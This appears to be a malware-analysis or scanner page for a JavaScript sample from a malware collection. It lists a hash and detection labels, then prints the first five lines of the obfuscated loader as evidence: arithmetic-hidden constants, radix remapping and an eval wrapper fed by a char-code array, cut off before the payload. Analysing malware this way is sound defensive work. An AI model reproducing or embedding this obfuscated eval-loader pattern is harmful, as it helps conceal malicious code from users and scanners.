Suspicious ^80% javascript-malware-collection Download

20151208_ff714a91f6f37d4f8cc66edd7101dc50.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2562d7185d9a9dce014d52456a96dd519d95ff04ba2f3bb4dbe1c9cb698a910526f

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var JPCefVfrRnHEk=[];for(JuZwCIp=(-962+962)/641;JuZwCIp<(22453+459)/179;JuZwCIp++){JPCefVfrRnHEk[JuZwCIp]=String.fromCharCode(JuZwCIp)}function xicvr(LMwvkGpkfLj,jLkDiXfLHsulp,saJTpPvw){SHwR=parseInt(LMwvkGpkfLj,jLkDiXfLHsulp);wvKrj=SHwR.toString(saJTpPvw);return wvKrj;}function IsSdCqYCojVxZhG(xjUnuhjsGFVerowUH){eval(xjUnuhjsGFVerowUH)}
2function TrWBMrTgNGXBamXSFKzUDxTYyJxgdVTjEmAzUUXdOJiUowLqRIvgMu(kROIxYlpvbzqu,touRDunsqqChJY){ return JPCefVfrRnHEk[xicvr(kROIxYlpvbzqu[touRDunsqqChJY],(6336+644)/698,(7704+266)/797)];}
3function xLZYABi(zEJeAyWjeoWDNxNpLRCgqbWAdnxXnKBtcwyc) {return !isNaN(parseFloat(zEJeAyWjeoWDNxNpLRCgqbWAdnxXnKBtcwyc)) && isFinite(zEJeAyWjeoWDNxNpLRCgqbWAdnxXnKBtcwyc);}
4function sdbAXDupihe(iFWFVXpi,zvoYQX){return iFWFVXpi.split(zvoYQX)}
5var q=[];q.push("13");q.push("10");q.push("13");q.push("10");q.push("118");q.push("97");q.push("114");q.push("32");q. …